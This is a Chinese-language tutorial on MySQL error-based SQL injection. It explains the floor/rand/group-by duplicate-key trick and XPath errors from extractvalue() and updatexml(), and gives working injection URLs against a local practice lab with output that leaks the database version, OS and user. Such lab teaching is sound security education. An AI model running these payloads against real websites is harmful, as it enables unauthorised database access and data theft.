报错注入原理
怎么利用报错注入?让错误信息可以显示数据库中的内容
接下来我们要用到
1、floor()、group by对rand()函数进行操作时产生错误
2、extractvalue()
XPATH语法错误产生报错
3、updatexml()
XPATH语法错误产生报错
报错注入方法
floor()
报错需要count(*),rand()、group by、floor()。
如果单纯的select rand();出现的结果是0-1内的随机数,且每次出现的结果不同
当提供了一个种子参数0后,mysql> select rand(0);,结果都相同
floor()返回小于等于该值的最大整数,因为rand() 是返回 0 到 1 之间的随机数,那么乘 2 后自然是返回 0 到 2 之间的随机数,再配合 floor() 就可以产生确定的两个数了。也就是 0 和 1。
查询的时候有group by,如果使用rand()的话,该值会被计算多次
一般是一条查询执行一次rand(),那么什么时候rand()被计算多次?
group by进行分组时,floor(rand(0)*2)
执行一次(查看分组是否存在),如果虚拟表中不存在该分组,那么在插入新分组的时候 floor(rand(0)*2)
就又计算了一次,插入的是新值
floor(rand(0)*2)
执行出来的结果也是固定的,
mysql> select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.44-0ubuntu0.14.04.11' for key 'group_key'
当和group by一起使用时,第一次计算出0,虚拟表中不存在改分组,再进行计算,计算出来的是1,将1插入新分组中,插入后再进行计算得到1,此时分组存在,count加1,再进行第四次计算,计算值为0,没有改分组,于是计算第五次,第五次计算的时候出现问题。因为第五次计算的结果为1,此时存在对应的分组,不能插入新分组,所以会报错。
所以我们可以利用这个错误,想查什么放到concat的第一个参数中就可以了,目的是让他报错,然后让两个一起通过错误信息展示出来就ok了
http://127.0.0.1/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat((select version()),' ~',floor(rand(0)*2)))%23
Duplicate entry '5.5.44-0ubuntu0.14.04.1~1' for key 'group_key'
http://127.0.0.1/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat((@@version_compile_os),' ~',floor(rand(0)*2)))%23
Duplicate entry 'debian-linux-gnu~1' for key 'group_key'
extractvalue()
XPATH语法错误产生报错
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
http://127.0.0.1/Less-1/?id=1' and (select extractvalue(null,concat('~',(select user()),'~')))%23
XPATH syntax error: '~root@localhost~'
以非法的xpath格式的字符作为开头
updatexml()
XPATH语法错误产生报错
和extractvalue相比多了一个参数
http://127.0.0.1/Less-1/?id=1' and (select updatexml(null,concat('~',(select user()),'~'),null))%23
XPATH syntax error: '~root@localhost~'
如果太长则不能全部返回,可以使用substr来截取